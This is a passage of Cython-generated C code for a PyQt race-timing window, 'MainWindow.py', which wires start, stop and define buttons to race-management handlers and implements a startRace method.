1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":56 * self.R_City.returnPressed.connect( self.findVille) * self.RB_Add.clicked.connect( self.addRacer ) * self.TM_T_passage.itemDoubleClicked.connect( self.setRacerTb) # <<<<<<<<<<<<<< * # Race action: * self.B_Start.clicked.connect( self.startRace ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_itemDoubleClicked); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_setRacerTb); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":58 * self.TM_T_passage.itemDoubleClicked.connect( self.setRacerTb) * # Race action: * self.B_Start.clicked.connect( self.startRace ) # <<<<<<<<<<<<<< * self.B_Stop.clicked.connect( manageRace.stop ) * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_clicked); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_startRace); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":59 * # Race action: * self.B_Start.clicked.connect( self.startRace ) * self.B_Stop.clicked.connect( manageRace.stop ) # <<<<<<<<<<<<<< * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_clicked); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_stop); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":60 * self.B_Start.clicked.connect( self.startRace ) * self.B_Stop.clicked.connect( manageRace.stop ) * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) # <<<<<<<<<<<<<< * * def startRace(self): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_currentIndexChanged); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_requestDefine); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":49 * self.setupUi(self) * * def connectActions(self): # <<<<<<<<<<<<<< * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("MainWindow.MainWindow.connectActions", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":62 * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) * * def startRace(self): # <<<<<<<<<<<<<< * if self.__ActualRace == None: * print("Starting Race") */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_11startRace(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_11startRace = {"startRace", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_11startRace, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_11startRace(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("startRace (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_10startRace(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_10startRace(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; int __pyx_t_3; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; int __pyx_t_7; PyObject *__pyx_t_8 = NULL; __Pyx_RefNannySetupContext("startRace", 0); /* "MainWindow.py":63 * * def startRace(self): * if self.__ActualRace == None: # <<<<<<<<<<<<<< * print("Starting Race") * self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__ActualRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_3) { /* "MainWindow.py":64 * def startRace(self): * if self.__ActualRace == None: * print("Starting Race") # <<<<<<<<<<<<<< * self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) * self.__ActualRace.start() */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":65 * if self.__ActualRace == None: * print("Starting Race") * self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) # <<<<<<<<<<<<<< * self.__ActualRace.start() * else: */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_raceDuration); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_raceLaps); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_7 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_7 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_5, __pyx_t_6}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_7, 2+__pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_5, __pyx_t_6}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_7, 2+__pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_8 = PyTuple_New(2+__pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_7, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_7, __pyx_t_6); __pyx_t_5 = 0; __pyx_t_6 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_8, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__ActualRace, __pyx_t_2) < 0) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":66 * print("Starting Race") * self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) * self.__ActualRace.start() # <<<<<<<<<<<<<< * else: * print("Race allready running") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__ActualRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_start); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":63 * * def startRace(self): * if self.__ActualRace == None: # <<<<<<<<<<<<<< * print("Starting Race") * self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) */ goto __pyx_L3; } /* "MainWindow.py":68 * self.__ActualRace.start() * else: * print("Race allready running") # <<<<<<<<<<<<<< * * def setRacerTb(self, item): */ /*else*/ { __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __pyx_L3:; /* "MainWindow.py":62 * self.B_Define.currentIndexChanged.connect( manageRace.requestDefine ) * * def startRace(self): # <<<<<<<<<<<<<< * if self.__ActualRace == None: * print("Starting Race") */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.startRace", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":70 * print("Race allready running") * * def setRacerTb(self, item): # <<<<<<<<<<<<<< * row = self.TM_T_passage.currentRow() * dlg = Set_RacerTp() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_13setRacerTb(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_13setRacerTb = {"setRacerTb", 